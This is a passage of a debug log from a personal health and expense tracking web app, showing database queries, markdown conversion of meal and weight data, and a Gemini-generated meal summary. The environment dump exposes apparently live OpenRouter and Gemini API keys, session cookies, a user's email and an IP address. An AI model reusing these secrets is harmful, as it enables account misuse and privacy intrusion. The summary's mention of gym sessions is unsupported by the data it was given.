2025-12-21T07:06:54.969Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-21T07:06:54.971Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 17,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' }
  ]
}
2025-12-21T07:06:54.971Z server-connect:app Executing action step run
2025-12-21T07:06:54.971Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-21T07:06:54.972Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 473 | Aalo Matar Ghughri | 250 | 8 | 35 | 10 | 1 serving |\n' +
  '| 474 | Whey Protein | 120 | 24 | 3 | 2 | 1 scoop (approx 30g, typical serving size) |\n' +
  '| 475 | Roti | 400 | 12 | 80 | 4 | 4 |\n' +
  '| 476 | Baingan Sabji | 150 | 3 | 15 | 10 | 1 serving (approx 150g) |\n' +
  '\n'
2025-12-21T07:06:54.972Z server-connect:app Executing action step run
2025-12-21T07:06:54.972Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-21T07:06:54.973Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-21T07:06:54.973Z server-connect:app Executing action step setvalue
2025-12-21T07:06:54.973Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-21T07:06:54.973Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 473 | Aalo Matar Ghughri | 250 | 8 | 35 | 10 | 1 serving |\n' +
  '| 474 | Whey Protein | 120 | 24 | 3 | 2 | 1 scoop (approx 30g, typical serving size) |\n' +
  '| 475 | Roti | 400 | 12 | 80 | 4 | 4 |\n' +
  '| 476 | Baingan Sabji | 150 | 3 | 15 | 10 | 1 serving (approx 150g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-21T07:06:54.973Z server-connect:app Executing action step processWithGemini
2025-12-21T07:06:54.973Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-21T07:06:56.303Z server-connect:output health_summary: {
  summary: "Today's food intake provided a good protein boost from the whey supplement, which aligns well with your muscle development goal. The meal composition appears balanced with carbohydrates and fats. Consistent early morning gym sessions are a positive factor for your fitness journey. Continued adherence to this routine should support your progress.",
  rating: 7,
  good_points: [
    'Whey protein intake supports muscle development.',
    'Meals seem to offer a mix of macronutrients.',
    'Consistent gym attendance is noted.'
  ],
  bad_points: [
    'More variety in vegetables could enhance nutrient intake.',
    'Fiber content might be suboptimal without additional sources.'
  ],
  suggestions: [
    'Incorporate a wider range of vegetables in your meals.',
    'Consider adding a source of healthy fats, like nuts or seeds, to a meal.',
    'Ensure adequate hydration throughout the day.'
  ],
  predicted_weight_trend: 'gradual decrease',
  predicted_weight: 69.6
}
2025-12-21T07:06:56.303Z server-connect:app Executing action step condition
2025-12-21T07:06:56.303Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-21T07:06:56.303Z server-connect:app Executing action step delete
2025-12-21T07:06:56.303Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-21T07:06:56.305Z server-connect:output delete: { affected: 1 }
2025-12-21T07:06:56.305Z server-connect:app Executing action step insert
2025-12-21T07:06:56.305Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-21T07:06:56.305Z server-connect:output insert: { affected: 1, identity: 51 }
2025-12-21T07:06:56.305Z server-connect:output condition: undefined
2025-12-21T07:06:56.506Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T07:06:56.506Z server-connect:app Executing action step identify
2025-12-21T07:06:56.506Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:56.506Z server-connect:output identity: 1
2025-12-21T07:06:56.506Z server-connect:app Executing action step restrict
2025-12-21T07:06:56.506Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:56.506Z server-connect:output restrict: undefined
2025-12-21T07:06:56.506Z server-connect:app Executing action step single
2025-12-21T07:06:56.506Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T07:06:56.507Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's food intake provided a good protein boost from the whey supplement, which aligns well with your muscle development goal. The meal composition appears balanced with carbohydrates and fats. Consistent early morning gym sessions are a positive factor for your fitness journey. Continued adherence to this routine should support your progress.",
    bad_points: [
      'More variety in vegetables could enhance nutrient intake.',
      'Fiber content might be suboptimal without additional sources.'
    ],
    good_points: [
      'Whey protein intake supports muscle development.',
      'Meals seem to offer a mix of macronutrients.',
      'Consistent gym attendance is noted.'
    ],
    suggestions: [
      'Incorporate a wider range of vegetables in your meals.',
      'Consider adding a source of healthy fats, like nuts or seeds, to a meal.',
      'Ensure adequate hydration throughout the day.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T07:07:24.905Z server-connect:app Executing action step identify
2025-12-21T07:07:24.905Z server-connect:app options: { provider: 'security' }
2025-12-21T07:07:24.905Z server-connect:output identity: 1
2025-12-21T07:07:27.522Z server-connect:app Executing action step identify
2025-12-21T07:07:27.522Z server-connect:app options: { provider: 'security' }
2025-12-21T07:07:27.522Z server-connect:output identity: 1
2025-12-21T07:07:28.998Z server-connect:app Executing action step identify
2025-12-21T07:07:28.998Z server-connect:app options: { provider: 'security' }
2025-12-21T07:07:28.998Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 07:55:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 07:55:47' as DATETIME)"
}
2025-12-21T08:08:16.518Z server-connect:router Serving templateView /
2025-12-21T08:08:16.547Z server-connect:app Executing action step identify
2025-12-21T08:08:16.547Z server-connect:app options: { provider: 'security' }
2025-12-21T08:08:16.550Z server-connect:output identity: 1
2025-12-21T08:08:16.550Z server-connect:app Executing action step restrict
2025-12-21T08:08:16.550Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T08:08:16.553Z server-connect:output restrict: undefined
2025-12-21T08:08:16.553Z server-connect:app Executing action step restrict
2025-12-21T08:08:16.553Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T08:08:16.554Z server-connect:output restrict: undefined
2025-12-21T08:08:16.554Z server-connect:router Render template layouts/main
2025-12-21T08:08:16.554Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-21T08:08:17.228Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T08:08:17.229Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T08:08:17.229Z server-connect:app Executing action step identify
2025-12-21T08:08:17.229Z server-connect:app options: { provider: 'security' }
2025-12-21T08:08:17.229Z server-connect:output identity: 1
2025-12-21T08:08:17.229Z server-connect:app Executing action step restrict
2025-12-21T08:08:17.229Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:08:17.230Z server-connect:app Executing action step identify
2025-12-21T08:08:17.230Z server-connect:app options: { provider: 'security' }
2025-12-21T08:08:17.230Z server-connect:output identity: 1
2025-12-21T08:08:17.230Z server-connect:app Executing action step restrict
2025-12-21T08:08:17.230Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:08:17.230Z server-connect:output restrict: undefined
2025-12-21T08:08:17.230Z server-connect:app Executing action step single
2025-12-21T08:08:17.230Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-21T08:08:17.230Z server-connect:output restrict: undefined
2025-12-21T08:08:17.230Z server-connect:app Executing action step select
2025-12-21T08:08:17.231Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T08:08:17.231Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T08:08:17.236Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
